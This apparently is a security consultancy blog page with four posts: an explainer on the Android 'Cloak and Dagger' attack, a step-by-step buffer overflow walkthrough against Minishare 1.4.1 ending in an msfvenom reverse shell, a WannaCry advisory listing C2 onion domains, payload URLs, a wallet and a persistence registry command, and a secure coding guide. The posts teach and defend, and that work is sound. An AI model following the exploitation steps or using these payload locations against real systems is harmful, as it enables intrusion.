06/2/17

Beware Android Users – CLOAK AND DAGGER is here to exploit you

The WORLD has still not got over with the WannaCry ransomware menace and here comes one more!

People have been debating for years over Android V/s iPhone.  It’s the ultimate battle. And it’s not ending anytime soon. But there is something Android users would not like to hear and iPhone users would rejoice about their choice– Android users are not safe!

Yes, the Android OS which you and I are using (even the latest Android 7.1.2) is not safe, all your credentials, data are at major risk.

Android users all over the world have always been a very popular target for criminals. It’s not even a month researchers uncovered several malicious Android applications masqueraded as “Funny Videos” on Play Store which had over 5000 downloads; it did not only provide users with “Funny Videos”, but had ‘BankBot banking Trojan’ which also stole victim’s banking password.

Till now everyone thought that malware requires user interaction in order to get installed on any device or click on a link in a phishing email, or the installation of software from an unverified source. But Researchers now have discovered a new attack, called “Cloak and Dagger”, that works against all versions of Android. Yes, even the latest version of Android isn’t safe from this attack.

It allows an attacker aka hackers to smoothly and silently take complete control of your device and steal private data of the device user like login credentials, using key logger and also by analyzing the keystrokes, personal chats, contacts without the users concern.

This stealthy attack was first discovered researchers at the Georgia Institute of Technology in Atlanta last August. They were in discussion with Google and some vulnerabilities were fixed over months with updates, but some of them are still present in the latest version of the platform.

How does the attack take place?

Cloak and Dagger attack is caused by 2 specific permissions the SYSTEM ALERT WINDOW and the BIND ACCESSIBILITY SERVICE.

What makes it even more dangerous is the fact that the SYSTEM ALERT WINDOW permission is automatically granted for applications installed from Play Store, and it can easily trick the user into granting the BIND ACCESSIBILITY SERVICE permission and bootstrap the whole attack.

This means, all you have to do is download an application (malicious) from the Android play store and rest will be taken care by the malicious code.

Let’s know more about the permissions

SYSTEM ALERT WINDOW

This System alert window is nothing but “Draw over other apps”, used to draw overlays on top of other applications. According to the official documentation, “Very few applications should use this permission; these windows are intended for system-level interaction with the user.” Despite this warning, the SYSTEM ALERT WINDOW is used by popular applications such as Facebook, LastPass, Twitter, and Skype. Furthermore, it is found that about 10.2% (454 out of 4,455) of top applications on Google Play Store require this permission.

This means that, since the SYSTEM ALERT WINDOW permission is automatically granted, the user will not be notified at any point.

BIND ACCESSIBILITY SERVICE

This permission is accessible for the Android users with disabilities. It can discover UI widgets displayed on the screen, query the content of these widgets, and interact with them programmatically. This permission is less popular than the previous permission. Among the top 4,455 applications on the Play Store, it is found that 24 applications use this service. It is worth noting that none of them are purely designed for people with disabilities! In fact, most of them are security applications such as password managers (e.g., app lockers, desk launchers, and antivirus applications. It is also found that 17 of these applications require both permissions.

The combination of these two permissions leads to a stealthy, very popular attacks, called “Cloak and Dagger”. It is called so as they take place undercover without user’s knowledge.

Conceptually, Cloak and Dagger is the first class of attacks that has successfully and completely compromise the UI feedback loop. It can modify what the user sees, detect the input/reaction to the modified display and update the display to meet user expectations. Similarly, the user can fake input, and it still manages to display to the user what they expect to see, instead of showing them the system responding to the injected input.

This sharply contradicts the existing attacks that utilized either SYSTEM ALERT WINDOW or the BIND ACCESSIBILITY SERVICE permissions. With the use of only SYSTEM ALERT WINDOW permission (e.g., GUI confusion attacks), the attacker can modify what the user sees, but cannot anticipate how/when the user reacts to the modified display, and hence fails to change the modified displayed content accordingly. Similarly, by using BIND ACCESSIBILITY SERVICE permission alone, the attacker can inject fake user inputs, but the attacker here cannot prevent the user from seeing the results of these fake inputs displayed on the screen. As a result, in both cases, with only one of the two permissions, the user can very quickly discover the attack.

On the contrary, in Cloak and Dagger,  the combination of the two permissions allows an attacker to both modify what the user sees and inject fake input, all while maintaining the expected “User experience”.

The potential consequences of the Cloak and Dagger attacks include almost complete control over the victim’s device – context-aware clickjacking attacks, perform (unconstrained) keystroke recording, steal user’s credentials, security PINs, and two-factor authentication tokens, and silently install a God-mode application with all permissions enabled.

According to the research, the flaws allow malicious applications downloaded from the Google Play Store to take control of the operating system’s user interface feedback loop. Thereby taking control of the device. What makes it more dangerous is the fact that user would be completely unaware of this malicious activity taking place.

The researchers have examined the attack and explained how they got on the Google Play Store to perform Cloak & Dagger attacks. They first submitted an application which got approved just after few hours and it is been said that it is still available on the Play Store. That application contained a non-obfuscated functionality to download and execute arbitrary code (to simulate malicious behaviour).

Once installed, the researchers say the attacker can perform various malicious activities including:

  • Advanced clickjacking attack
  • Unconstrained keystroke recording
  • Stealthy phishing attack
  • Silent installation of a God-mode application (with all permissions enabled automatically)
  • Silent phone unlocking and arbitrary actions (all this while keeping the screen off)

The attack has been successfully performed on 20 people by Researchers at Georgia Institute of Technology and none of them were able to detect any malicious activity.

It is important to mention that, starting from Android 6.0, this permission is treated differently from the others. The user needs to manually enable this permission through a dedicated menu. If an application is installed by the latest version of the official Play Store app, the SYSTEM ALERT WINDOW permission is automatically granted (users will not be notified at any point).

Researchers have reported their findings to Google, which promptly acknowledged all the problems that have been raised. However, no comprehensive patch is available yet: while few of the specific instances of problems can be fixed with a simple patch, most of the attacks are possible due to design shortcomings that are not easily addressable.

What can you do to protect yourself?

The easiest way to mitigate the issue and disable the Cloak and Dagger attacks in Android 7.1.2 is to turn off the “draw on top” permission by heading on to:

Settings → Apps → Gear symbol → Special access → Draw over other apps.

Don’t expect a true fix for this issue to come to your device anytime soon. However, “Android O” will partially address this flaw by disallowing malicious applications from completely drawing over the entire screen and generate alerts via notification if an application is actively drawing an overlay. With these changes, it’s less likely that a malicious application can get away with the exploit if the user is attentive. Thus, until Android O comes along (which is supposed to come by 3rd quarter this year), users don’t have much they can do to avoid being trapped, beyond regular security practices. It is still doubted if it would be able to detect all such cases. Install applications only from trusted sources, don’t install random applications, and, keep a close watch on what permissions an application is asking for.

All you can do is to check application permissions before installing it. And monitor what permissions are being granted to each application you install. Check if any application is asking more than what it is meant for, just do not install it.

 

References:

http://cs.ucsb.edu/~yanick/publications/2017_oakland_cloakanddagger.pdf

http://cloak-and-dagger.org/

http://thehackernews.com/2017/05/android-hacking-technique.html

http://mashable.com/2017/05/23/the-jammer-mini-roller/

http://gadgets.ndtv.com/apps/news/android-attack-cloak-and-dagger-uc-santa-barbara-geogia-institute-technology-google-1704400

https://www.xda-developers.com/cloak-and-dagger-exploit-uses-overlays-and-accessibility-services-to-hijack-the-system/

http://thehill.com/policy/cybersecurity/335126-researchers-spotlight-cloak-and-dagger-attack-against-android-devices

 

Author:

Shreeya Patewadiyar

Associate Security Consultant, Varutra Consulting Pvt. Ltd.

05/18/17

Buffer Overflow Attacks

Introduction

Buffer is a storage place in memory where data can be stored. It’s mostly bound in a conditional statements to check the value given by the user and enter it in to the buffer and if the value entered by user is more than the actual size of the buffer then it should not accept it and should throw an error. But what most of the times happens is buffer fail to recognise its actual size and continue to accept the input from user beyond its limit and that result in overflow which causes application to behave improperly and this would lead to overflow attacks.

In this article we will demonstrate buffer overflow attack on the Minishare 1.4.1 application which is vulnerable to buffer overflow attack.

Download link: https://sourceforge.net/projects/minishare/files/OldFiles/minishare-1.4.1-fin.exe/download?use_mirror=master&download=&failedmirror=kent.dl.sourceforge.net

And install it in windows XP (VM) to have better results.

I am using Kali Linux as an attacker machine and also install Immunity Debugger on your windows XP machine to debug the application that we are going to exploit.

Step 1: Install Minishare 1.4.1 on Windows XP machine and check the port on which it is running. In my case its running on port 80.

Step 2: Now we will create one python script. We are sending 2000 A’s to the target to see whether it’s getting crashed or not.

Step 3: But before that we need to give permission to our file so in my case its 1.py and IP 192.168.230.131 is of my Windows XP machine.

Step 4: Now the Minishare should be running on your Windows XP machine and after running above python script the application should get crashed and check the offset by clicking on to Click here and it should be hex value of A which 41.Now from this we can conclude that the application is not able to handle this much (2000 A’s) and get crashed. In short EIP (Instruction Pointer) is overwritten with AAAA leading to crash

Step 5: To check which offset value of buffer overwrites EIP we will use the ruby script which is readily available in our metasploit modules. As shown in below screen shot go to path in usr->share->metasploit-framework->tools->exploit.

Step 6: Copy the pattern generated into python script as below.

Step 7: Now open the Minishare in Immunity Debugger to check the value of EIP (Instruction Pointer) and ESP (Stack Pointer) register. You can see that the EIP is overwritten with ‘36684335’ and ESP is overwritten with ‘Ch7Ch’.

Step 8: To check the offset between EIP and ESP we have tool in metasploit framework.Just go to path as shown below.

Step 9: We can conclude that EIP start from 1787 and contain four characters and ESP starts from 1791.

Now we will over write 4 bytes after 1787 with character B, in order to check that our calculation of EIP is correct. In order to that the changes has been made in the script as below:

Step 10: As seen below our calculation is correct as EIP is overwritten with 424242 i.e. BBB (hex) and ESP is overwritten with CCC.

Step 11: Now here comes the dreaded part of finding bad characters. Bad character are \r\n (\x0a\x0d in hex) which also called Carriage return (\r) and Next Line (\n).If the \x0d and \x0a are present anywhere in the buffer then it get terminated and rest of the remaining buffer will not be taken into consideration. Most of the time \x00 is bad character.

Now we will add the series of characters from \x01 to \xff into my buffer and check it in debugger to check for bad characters.

Step 12: From the below screenshot we can see that 4141 and then 01,02….0C then after that 0D is expected but the buffer breaks which means bad character is present. So remove the bad character which \x0d and re run the code above and check whether the sequence gets completed or not.

Step 13: The series is now get completed.After that we will search for JMP instruction.

So basically when the crash occurs we want the content of ESP to be executed by EIP.

This means we have to make EIP jump to ESP. This can be achieved by executing JMP ESP instruction.

We will open the server and look for the executable modules in Immunity Debugger that contains JMP ESP instruction and then we will overwrite memory address of that instruction on EIP.

From below screenshot we can see that USER32 has JMP ESP Instruction

Note the JMP ESP address 77D8AF0A and make it reverse \x0a\xaf\x8a\xd8\x77.

Step 14: Now we need to create payload using msfvenom by entering below command to get the reverse shell.

 

Step 15: Now our final script will look like this which will also include code generated from msfvenom command.

Step 16: Run the exploit and on kali machine listen to incoming connection like below. We got reverse shell on our Windows XP machine.

Conclusion: Minishare is vulnerable to buffer overflow attack and this vulnerable application is already installed on windows xp. Due to exploitation of Minishare application we got the reverse shell on the target system.Kindly do not install the applications which are already having such vulnerabilities which may cause a huge damage to your system.

AUTHOR:

Pranav J.

Security Consultant, Varutra Consulting Pvt. Ltd.

05/16/17

Threat Advisory Report on Ransomware WannaCry (Critical Severity)

1. Introduction

On Friday, May 12, countless organizations around the world began fending off attacks from a ransomware strain variously known as WannaCrypt, WanaDecrypt and Wanna.Cry.

Security researchers found “WannaCry” or “WannaDecryptor”; a type of ransomware which spreads from system to system silently and remains invisible to users until it unveils itself and then warns users that all their files have been encrypted with a key known only to the attacker and that they will be locked out until they pay to an anonymous party using the cryptocurrency Bitcoin.

Ransomware encrypts a victim’s documents, images, music and other files unless the victim pays for a key to unlock them.

Wana Decrypt0r triggered security alerts for ETERNALBLUE, an alleged NSA exploit. ETERNALBLUE works by exploiting a vulnerability in the SMBv1 protocol to get a foothold on vulnerable machines connected online. Microsoft patched the flaw in MS17-010, released in March, but there are high chances that all Windows PC owners have applied the security update.

On Friday, at least 16 hospitals in the United Kingdom were forced to divert emergency patients after computer systems there were infected with Wanna. According to multiple stories in the British media, approximately 90 percent of care facilities in the U.K.’s National Health Service are still using Windows XP – a 16-year-old operating system.

2. Attack Scenario

The initial infection vector of WannaCrypt 2.0 is not confirmed. It is possible that the initial vector is spam with malicious attachments (.pdf, .hta, and macro embedded MS Office files) commonly used in other ransomware campaigns.

Once WannaCry 2.0 achieves a foothold, the ransomware infects other machines by leveraging a remote command execution vulnerability of Server Message Block (SMB). It is confirmed to exploit at least one publicly disclosed SMB vulnerability – CVE 2017-0143 also referred to as “EternalBlue” – which was released by a group called ShadowBrokers in April 2017. Using arbitrary code execution privileges, the ransomware installs itself to the machine, then proceeds to encrypt a wide array of files.

Files are encrypted with the .WNCRY file extension added to them. The ransomware also downloads and installs TOR, with all dependencies, onto the infected machine, and uses this service to reach out to one of at least six .onion domains. The ransomware drops a ransom note named @Please_Read_Me@.txt; it also adds a lock screen, named “WanaCrypt0r 2.0”

At the time of reporting, the malware was requesting $300 USD in BitCoins, though this amount was later increased to $600. The Bitcoin wallets associated with the activity had received approximately 500 ransom payments, estimated to be worth over $150,000.

Additionally, reports indicate the ransomware may have increased its payment demands from $300 to $600, indicating the actors have some level of control over the demanded amount and are increasing the cost of decryption, likely due to the success of the malware.

The ransomware uses a unique encryption key for each binary placed onto a computer, but since the ransomware uses asymmetric RSA encryption even having the encryption key will not allow for convenient decryption.

Upon infection, the following files are created:

%Temp%\b.wnry

%Temp%\c.wnry

%Temp%\m.wnry

%Temp%\r.wnry

%Temp%\t.wnry

%Temp%\u.wnry

%Temp%\m.vbs

%Temp%\taskdl.exe

C:\ProgramData\taskse.exe

%Temp%\[14 random digits].bat

The file c.wry contains information needed by the malware to further the infection and communication with its Command and control server.

wanna18@hotmail[.]com

13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94

sqjolphimrr7jqw6[.]onion

https://www.dropbox[.]com/s/deh8s52zazlyy94/t.zip?dl=1

win32-0.2.8.11.zip

https://dist.torproject[.]org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip

https://www.dropbox[.]com/s/c1gn29iy8erh1ks/m.rar?dl=1

Adding the following registry entry for persistence:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v “” /t REG_SZ /d

“\”C:\Users\\AppData\Local\Temp\tasksche.exe\”” /f

It also drops the ransom file named @Please_Read_Me@.txt and the decryptor file named @WanaDecryptor@.exe, as shown below:

WannaCrypt0r 2.0 uses TOR hidden services for command and control, dropping and installing a fully functional version of TOR with all necessary components onto an infected machine. The TOR service reaches out to one of a number of .onion domains, including:

  • gx7ekbenv2riucmf[.]onion
  • 57g7spgrzlojinas[.]onion
  • Xxlvbrloxvriy2c5[.]onion
  • 76jdd2ir2embyv47[.]onion
  • cwwnhwhlz52maqm7[.]onion
  • sqjolphimrr7jqw6[.]onion

The following file extensions have been observed affected by this malware:

.der .slk .odb .jsp .3g2 .zip .edb .docm.pfx .wb2 .frm .php .flv .rar .potm .docb.key .odp .myd .asp .wma .tgz .potx .jpg.crt .otp .myi .java .mid .tar .ppam .jpeg.csr .sxd .ibd .jar .m3u .bak .ppsx .snt.p12 .std .mdf .class .m4u .tbk .ppsm .onetoc2.pem .uop .ldf .mp3 .djvu .bz2 .pps .dwg.odt .odg .sln .wav .svg .PAQ .pot .pdf.ott .otg .suo .swf .psd .ARC .ppt m .wk1.sxw .sxm .cpp .fla .nef .aes .xltm .wks.stw .mml .pas .wmv .tiff .gpg .xltx .hwp.uot .lay .asm .mpg .tif .vmx .xlc .rtf.3ds .lay6 .cmd .vob .cgm .vmdk .xlm .csv.max .asc .bat .mpeg .raw .vdi .xlt .txt.3dm .sqlite3 .ps1 .asf .gif .sldm .xlw .vsdx.ods .sqlitedb .vbs .avi .png .sldx .xlsb .vsd.ots .sql .dip .mov .bmp .sti .xlsm .eml.sxc .accdb .dch .m p4 .vcd .sxi .dotx .msg.stc .mdb .sch .3gp .iso .pptx .dotm .ost.dif .dbf .brd .mkv .backup .ppt .dot .pst.xlsx .xls .docx .doc

3. Attack PoC

4. Advisory Notes

The EternalBlue SMB vulnerability was originally published by the Shadow Brokers who allegedly acquired NSA hacking tools. The vulnerability was published in April 2017 but patched prior to release by Microsoft in March 2017. The exploit is particularly dangerous because WannaCry 2.0 a ransomware uses remote code execution vulnerability that does not require any user interaction.

Moreover, the malware can spread laterally as quickly as the commands can be processed by infected machines resulting in the highly virulent nature of this threat. Since the ransomware propagates primarily through the exploitation of the EternalBlue SMB vulnerability, multiple infections in the same organization are to be expected. This is because the exploit leverages a previously-patched Windows vulnerability and if an infected device does not have the appropriate patches it is likely other machines are similarly vulnerable.

The inclusion of over twenty language variants for the ransom note supports the conclusion that this malware was not targeted at a particular country or entity, but rather was intended to spread as widely as possible.

The success of this ransomware attack will almost certainly lead to future ransomware attacks attempting to propagate via critical Microsoft Windows vulnerabilities, even months after the vulnerability is publicly released and patched. The actor(s) behind this activity is currently unknown, and no major group has taken credit for the activity.

5. Mitigation Techniques

Varutra Consulting recommends the following:

  • Apply Microsoft patches MS17-010 / MS17-012 disabling SMB v1, and blocking all versions of SMB at the network boundary by blocking TCP port 445 with related protocols on UDP ports 137-138 and TCP port 139 for all boundary devices.
  • Due to recent changes in Microsoft patch naming, ensure Microsoft Knowledge Base 4013389 has been applied to all systems, as it is another name for the MS17-010 SMB vulnerability patch.
  • Do not pay any ransom associated with this activity. The actors may not even provide a decryption key, and furthermore doing so incentivizes and finances further criminal activity.
  • Enable strong spam filters to prevent phishing e-mails from reaching the end users and authenticate in-bound e-mail using technologies like Sender Policy Framework (SPF), Domain Message Authentication Reporting and Conformance (DMARC), and DomainKeys Identified Mail (DKIM) to prevent e-mail spoofing.
  • Prevent privileged execution of windows binaries from temp directories.
  • Disable macro scripts from Microsoft Office files transmitted via e-mail. Consider using Office Viewer software to open Microsoft Office files transmitted via e-mail instead of full Office suite applications.
  • Develop user security awareness training for identifying scams, malicious links, and attempted social engineering.
  • Scan your perimeter and other Internet-facing network structures for the presence of open Windows SMB ports.
  • Ensure that Snort Signatures ET-2024217, ET-2024218, and ET-2024220 are implemented to ensure lateral propagation detection within an enterprise network and not just at the border or perimeter.
  • Below mentioned are the possibly infected IP’s which need to be blocked on firewall immediately.
 

82.94.251.227:443

213.239.216.222:443

51.255.41.65:9001

86.59.21.38:443

198.199.64.217:443

83.169.6.12:9001

192.42.115.102:9004

104.131.84.119:443

178.254.44.135:9001

163.172.25.118:22

197.231.221.221:9001

128.31.0.39:9191

 

 

149.202.160.69:9001

46.101.166.19:9090

91.121.65.179:9001

2.3.69.209:9001

146.0.32.144:9001

50.7.161.218:9001

217.79.179.177:9001

213.61.66.116:9003

212.47.232.237:9001

81.30.158.223:9001

79.172.193.32:443

38.229.72.16:443

6. References

https://www.microsoft.com/security/portal/threat/encyclopedia/Entry.aspx?Name=Ransom:Win32/WannaCrypt

https://krebsonsecurity.com/2016/12/before-you-pay-that-ransomware-demand/

http://webcast.gov.in/cert-in/

Customer Guidance for WannaCrypt attacks

01/30/16

How To Develop Secure Software – Action Plan To Make Secure

The purpose of this article is to provide a guideline for secure software development. Easily avoided software defects are a primary cause of commonly exploited software vulnerabilities. By identifying insecure coding practices and developing secure alternatives, software developers can take practical steps to reduce or eliminate vulnerabilities while developing software product.

According to a study released last year by WhiteHat Security, Cross-Site Scripting regains the number one spot after being overtaken by Information Leakage last year in all but one language. .Net has Information Leakage as the number one vulnerability, followed by Cross-Site Scripting. ColdFusion has a rate of 11% SQL Injection vulnerabilities, the highest observed, followed by ASP with 8% and .NET 6%. Perl has an observed rate of 67% Cross-Site Scripting vulnerabilities, over 17% more than any other language. There was less than a 2% difference among the languages with Cross-Site Request Forgery. Many vulnerabilities classes were not affected by language choice.

The most effective way to reduce application security risk is to implement a formal development process that includes security best practices to avoid application vulnerabilities. Secure Development process and Security Testing are powerful tools to monitor and search for application flaws and they should be used together to increase the security level of business critical applications/software.

Secure coding is the practice of writing code for applications in such a way as to ensure the confidentiality, integrity and accessibility of data and information related to those systems. Programmers fluent in secure coding practices can avoid common security flaws in programming languages and follow best practices to avoid the number of targeted attacks that focus on application vulnerabilities.

Application security is a process that begins from the application development lifecycle to ensure the highest security possible of the development process (coding), the system, hardware the application runs on and the network it uses to connect, authenticate and authorize users. Building secure software and incorporating security best practices in development process is the responsibility of all the stakeholders involved with the Software Development Lifecycle (SDLC).

1

Figure: SDLC Stakeholders

INTRODUCTION

The current trend is to identify issues by performing a security assessment of applications after they are developed and then fix these issues. Patching software in this way can help, but it is a costlier approach to address the issues.

This cycle of Testing – Patching – Re-testing runs into multiple iterations and can be avoided to a great extent by addressing issues earlier in the Life Cycle. This next section covers a very important aspect – the need for programs like S-SDLC.

As an old saying goes – “Need is the mother of invention” – this is applicable for Secure software development as well. There were days when organizations were just interested in developing an application and selling it to the client and forgetting about rest of the complexities. Those days are gone.

A very simple answer to the question is – “The threat landscape has changed drastically.” There are people out there whose only intention is to break into computer systems and networks to damage them, whether it is for fun or profit. These could be novice hackers who are looking for a shortcut to fame by doing so and bragging about it on the internet. These could also be a group of organized criminals who work silently on the wire. They don’t make noise but when their job is done, it reflects into a huge loss for the organization in question – not to mention a huge profit for such criminals.

This is where secure development comes into the picture. While employing a team of ethical hackers helps, having processes like secure development can help organizations in addressing the above discussed issues in a much more cost-efficient manner as identifying security issues earlier in the development life cycle reduces the cost.

Want to build secure application and keep your application from getting hacked? Here’s a guideline to build secure application and how to get serious about secure apps.

Let’s get serious about building secure Web applications.

 

THINGS YOU NEED TO DO IN A SECURE SOFTWARE DEVELOPMENT

1. AUTHENTICATION AND AUTHORIZATION:

Don’t hardcode credentials: Never allow credentials to be stored directly within the application code.
Example: Hard coded passwords in networking devices https://www.us-cert.gov/control_systems/pdf/ICSA-12-243-01.pdf

Implement a strong password policy: A password policy should be created and implemented so that passwords meet specific strength criteria. Implement account lockout against brute force attacks: Account lockout needs to be implemented to guard against brute forcing attacks against both the authentication and password reset functionality. After several tries on a specific user account, the account should be locked for a period of time or until manually unlocked.

2. SESSION MANAGEMENT:

Invalidate the session after logout: When the user logs out of the application the session and corresponding data on the server must be destroyed. This ensures that the session cannot be accidentally revived.

Implement an idle session timeout: When a user is not active, the application should automatically log the user out. Be aware that Ajax applications may make recurring calls to the application effectively resetting the timeout counter automatically.

Use secure cookie attributes (i.e. httponly and secure flags): The session cookie should be set with both the HttpOnly and the secure flags. This ensures that the session id will not be accessible to client-side scripts and it will only be transmitted over SSL, respectively.

3. INPUT AND OUTPUT HANDLING/VALIDATION:

Prefer whitelists over blacklists: For each user input field, there should be validation on the input content. Whitelisting input is the preferred approach. Only accept data that meets a certain criteria. For input that needs more flexibility, blacklisting can also be applied where known bad input patterns or characters are blocked.

Use parameterized SQL queries: SQL queries should be crafted with user content passed into a bind variable. Queries written this way are safe against SQL injection attacks. SQL queries should not be created dynamically using string concatenation. Similarly, the SQL query string used in a bound or parameterized query should never be dynamically built from user input.

Use CSRF tokens to prevent forged requests: In order to prevent Cross-Site Request Forgery attacks, you must embed a random value that is not known to third parties into the HTML form. This CSRF protection token must be unique to each request. This prevents a forged CSRF request from being submitted because the attacker does not know the value of the token.

Validate uploaded files: When accepting file uploads from the user make sure to validate the size of the file, the file type, and the file contents as well as ensuring that it is not possible to override the destination path for the file.

Validate the source of input: The source of the input must be validated. For example, if input is expected from a POST request, do not accept the input variable from a GET request.

X-XSS- Protection headers: Content Security Policy (CSP) and X-XSS-Protection headers help defend against many common reflected Cross-Site Scripting (XSS) attacks.

4. ACCESS CONTROL:

Apply the principle of least privilege: Make use of a Mandatory Access Control system. All access decisions will be based on the principle of least privilege.
Don’t use direct object references for access control checks: Do not allow direct references to files or parameters that can be manipulated to grant excessive access. Access control decisions must be based on the authenticated user identity and trusted server side information.

Use only trusted system objects, e.g. server side session objects, for making access authorization decisions. Use a single site-wide component to check access authorization. This includes libraries that call external authorization services.

5. PROPER ERROR HANDLING AND LOGGING:

Error messages should not reveal details about the internal state of the application. For example, file system path and stack information should not be exposed to the user through error messages.

Logs should be stored and maintained appropriately to avoid information loss or tampering by intruder. Log retention should also follow the retention policy set forth by the organization to meet regulatory requirements and provide enough information for forensic and incident response activities.

Do not disclose sensitive information in error responses, including system details, session identifiers or account information.
Logging controls should support both success and failure of specified security events.

6. DATA PROTECTION:

Ideally, SSL should be used for your entire application. If you have to limit where it’s used, then SSL must be applied to any authentication pages as well as all pages after the user is authenticated. If sensitive information (e.g. personal information) can be submitted before authentication, those features must also be sent over SSL.

Implement least privilege; restrict users to only the functionality, data and system information that are required to perform their tasks.

Encrypt highly sensitive stored information, like authentication verification data, even on the server side. Always use well vetted algorithms, see “Cryptographic Practices” for additional guidance.

7. BUSINESS LOGIC:

Business logic vulnerability is one that allows the attacker to misuse an application by circumventing the business rules. Most security problems are weaknesses in an application that result from a broken or missing security control.

This will help to identify the minimum standard that is required to neutralize vulnerabilities in your critical applications. Phases been addressed? Have you made all the proper configuration settings in the database, web server, etc.?

 

ACTION PLAN TO MAKE SECURE SOFTWARE

These help organizations to think about security early on in the project. They represent specific security goals and constraints that affect the confidentiality, integrity and availability of important application data and the means by which that is accessed. If these requirements aren’t specified they won’t be built or tested.

“The key problem is that, at the network level, data used to exploit security flaws is often indistinguishable from legitimate application data. Our only hope is to tackle vulnerabilities at their root – in the applications themselves.”

STEP 1. THREAT MODELLING:

Threat modelling is an approach for analysing the security of an application. It is a structured approach that enables you to identify, quantify, and address the security risks associated with an application. Threat modelling is not an approach to reviewing code, but it does complement the security code review process. The inclusion of threat modelling in the SDLC can help to ensure that applications are being developed with security built-in from the very beginning.
There are several good reference guides to help with threat modelling, including a free threat modelling reference from the National Institute of Standards and Technology (NIST).

STEP 2. ARCHITECTURE AND DESIGN REVIEW PROCESS:

The architecture and design review process analyses the architecture and design from a security perspective. If you have just completed the design, the design documentation can help you with this process. Regardless of how comprehensive your design documentation is, you must be able to decompose your application and be able to identify key items, including trust boundaries, data flow, entry points, and privileged code. You must also know the physical deployment configuration of your application. Pay attention to the design approaches you have adopted for those areas that most commonly exhibit vulnerabilities. This guide refers to these as application vulnerability categories. There are many excellent resources available for code reviews including those from Microsoft.

STEP 3. GET DEVELOPERS SECURITY-SAVVY:

The most effective solution is to train developers from the beginning on secure coding techniques. The securitysavvy software developer leads all developers in the creation of secure software, implementing secure programming techniques that are free from logical design and technical implementation flaws. This expert is
ultimately responsible for ensuring customer software is free from vulnerabilities that can be exploited by an attacker. At the implementation stage, security is largely a developer awareness problem. Given a specific requirement or design, code can be written in a vast number of ways to meet that objective. Each of these can lead to an application that meets its functional requirements.

By implementing these secure coding standards in your organisation and enforcing them through secure code reviews and static analysis tools, you can suppress one of the most common causes of released vulnerabilities in software.

“Security design reviews give an early insight into potential problems, as does threat modelling, and both can be performed early where security defects are easier and less costly to fix.”

STEP 4. PENETRATION TESTING:

Penetration testing (also called pen testing) is the practice of testing a computer system, network or Web application to find vulnerabilities that an attacker could exploit. Pen tests can be automated with software applications or they can be performed manually. Either way, the process includes gathering information about the target before the test (reconnaissance), identifying possible entry points, attempting to break in (either virtually or for real) and reporting back the findings.

This puts the application through the paces of a series of attacks. Output from the threat models can be reused here to establish the focus and scope of the testing. For example, did the tester try a series of SQL injection attacks vs. Cross Site Scripting? Did the tester attack the user interface vs. the database server?

 

diagram_steps

Figure: Penetration Testing

STEP 5. FINAL SECURITY REVIEW:

This step is conducted prior to deployment and is the last look in the mirror before walking out the door. Have all those weak spots found in the threat modeling and penetration testing.

 

SECURITY PRINCIPLES FOR SECURE CODE DEVELOPMENT

1. MINIMIZE ATTACK SURFACE AREA:

Every feature that is added to an application adds a certain amount of risk to the overall application. The aim for secure development is to reduce the overall risk by reducing the attack space.

2. PRINCIPLE OF LEAST PRIVILEGE:

The principle of least privilege recommends that accounts have the least amount of privilege required to perform their business processes. This encompasses user rights, resource permissions, such as CPU limits, memory, network, and file system permissions.

3. PRINCIPLE OF DEFENSE IN DEPTH:

The principle of Defense in Depth suggests that where one control would be reasonable, more controls that approach risks in different fashions are better.
Controls, when used in depth, can make severe vulnerabilities extraordinarily difficult to exploit and thus unlikely to occur. With secure coding, this may take the form of tier-based validation, centralized auditing controls, and requiring users to be logged on all pages.

4. FAIL SECURELY

Applications regularly fail to process transactions for many reasons. How they fail can determine if an application is secure or not. External systems are insecure. Many organizations utilize the processing capabilities of third-party partners, who more than likely have differing security policies and posture. It is unlikely that an external third party can be influenced or controlled; implicit trust of externally run systems is not warranted. All external systems should be treated in a similar fashion.

5. SEPARATION OF DUTIES

A key fraud control is separation of duties. For example, someone who requests a computer cannot also sign for it, nor should they directly receive the computer. This prevents the user from requesting many computers, and claiming they never arrived. Certain roles have different levels of trust than normal users. In particular, Administrators are different to normal users. In general, administrators should not be users of the application.

6. DO NOT TRUST SECURITY THROUGH OBSCURITY

Security through obscurity is a weak security control, and nearly always fails when it is the only control. This is not to say that keeping secrets is a bad idea, it simply means that the security of key systems should not be reliant upon keeping details hidden.

7. SIMPLICITY

Attack surface area and simplicity go hand-in-hand. Certain software engineering fads prefer overly complex approaches to what would otherwise be relatively straightforward and simple code. Developers should avoid the use of double negatives and complex architectures when a simpler approach would be faster and simpler.

8. FIX SECURITY ISSUES CORRECTLY

Once a security issue has been identified, it is important to develop a test for it, and to understand the root cause of the issue. When design patterns are used, it is likely that the security issue is widespread amongst all code bases, so developing the right fix without introducing regressions is essential.

THE TEN BEST PRACTICES
1. Protect the Brand Your Customers Trust
2. Know Your Business and Support it with Secure Solutions
3. Understand the Technology of the Software
4. Ensure Compliance to Governance, Regulations, and Privacy
5. Know the Basic Tenets of Software Security
6. Ensure the Protection of Sensitive Information
7. Design Software with Secure Features
8. Develop Software with Secure Features
9. Deploy Software with Secure Features
10. Educate Yourself and Others on How to Build Secure Software

BENEFITS OF SECURE SDLC

1. Build more secure software
2. Help address security compliance requirements
3. Reduce costs of maintenance
4. Awareness of potential engineering challenges caused by mandatory security controls
5. Identification of shared security services and reuse of security strategies and tools
6. Early identification and mitigation of security vulnerabilities and problem
7. Documentation of important security decisions made during the development

CONCLUSION:

Security and development teams can work together—they just need to look for common areas in which they can make improvements. Security teams focus on confidentiality and integrity of data, which can sometimes require development teams to slow down and assess code differently. At the same time, business units require developers to produce and revise code more quickly than ever, resulting in developers focusing on what works best instead of what is most secure.
This difference in focus does not mean that either side is wrong. In fact, both teams are doing exactly what they’re supposed to do. However, in order to facilitate teams accomplishing both sets of goals and working together more fluidly, changes to tools and processes are necessary.

REFERENCES:

1. http://info.whitehatsec.com/rs/whitehatsecurity/images/statsreport2014-20140410.pdf
2. https://www.owasp.org/images/7/7c/OWASP-Building-Secure-Web-Apps-070110.pdf
3. https://www.us-cert.gov/control_systems/pdf/ICSA-12-243-01.pdf
4. https://www.owasp.org/index.php/The_Owasp_Code_Review_Top_9
5. https://www.owasp.org/index.php/Testing_for_authentication
6. https://www.owasp.org/index.php/Web_Application_Security_Testing_Cheat_Sheet
7. https://www.owasp.org/index.php/Application_Threat_Modeling

 

AUTHOR:

Security Consultant, Varutra Consulting, Pvt. Ltd.

01/9/16

Mobile Vulnerability Database (MVD)

